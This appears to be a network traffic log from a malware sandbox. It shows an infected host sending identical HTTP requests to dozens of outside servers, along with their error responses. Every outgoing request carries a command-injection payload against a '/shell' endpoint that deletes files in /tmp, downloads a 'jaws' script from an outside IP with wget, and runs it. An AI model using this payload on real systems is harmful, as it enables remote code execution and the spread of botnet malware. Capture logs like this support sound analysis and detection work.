Jan 2, 2024 06:25:29.985243082 CET	322	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Tue, 02 Jan 2024 05:25:29 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.23	51858	122.219.208.94	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.715015888 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.23	40930	157.52.181.61	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.722171068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.024718046 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:25:29 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.23	55454	49.233.248.202	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.740901947 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.062143087 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Tue, 02 Jan 2024 05:25:29 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.23	37102	37.1.204.64	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.908843994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.150043964 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:30 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.23	57508	23.55.68.98	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:29.993837118 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.280870914 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:25:30 GMT Date: Tue, 02 Jan 2024 05:25:30 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 66 32 30 64 34 63 39 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 30 26 23 34 36 3b 61 61 39 61 31 33 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3f20d4c9.1704173130.aa9a13f</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.23	53238	23.221.123.61	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:30.014297009 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.313839912 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:30 GMT Date: Tue, 02 Jan 2024 05:25:30 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 65 62 33 38 61 63 61 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 30 26 23 34 36 3b 31 33 66 31 38 64 66 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.9eb38aca.1704173130.13f18df0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.23	52802	104.126.126.81	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:30.150804043 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.393132925 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:30 GMT Date: Tue, 02 Jan 2024 05:25:30 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 36 33 30 31 30 36 30 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 30 26 23 34 36 3b 32 36 39 30 31 39 38 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.26301060.1704173130.26901988</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.23	33424	5.135.156.6	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:30.155873060 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.403831005 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:30 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.23	44478	34.88.138.19	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:30.159442902 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.410383940 CET	88	IN	HTTP/1.0 400 Bad Request Data Raw: 43 6c 69 65 6e 74 20 73 65 6e 74 20 61 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 74 6f 20 61 6e 20 48 54 54 50 53 20 73 65 72 76 65 72 2e 0a Data Ascii: Client sent an HTTP request to an HTTPS server.

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.23	35048	57.180.216.73	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:30.173192978 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.437764883 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:30 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.23	52770	41.111.241.34	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:30.188510895 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.468492031 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.23	52076	117.52.81.226	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:30.193653107 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.23	36186	193.46.47.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:30.204859972 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.23	54442	23.48.76.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:30.270725965 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:30.632929087 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:30 GMT Date: Tue, 02 Jan 2024 05:25:30 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 65 30 63 31 33 33 64 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 30 26 23 34 36 3b 31 39 66 34 39 39 31 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.2e0c133d.1704173130.19f4991d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.23	50366	107.167.54.157	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:31.230782986 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:31.383652925 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:23:53 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.23	32976	52.1.227.247	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:31.234448910 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:31.392004013 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:31 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.23	36542	62.210.48.113	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:31.316042900 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:31.555363894 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:31 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
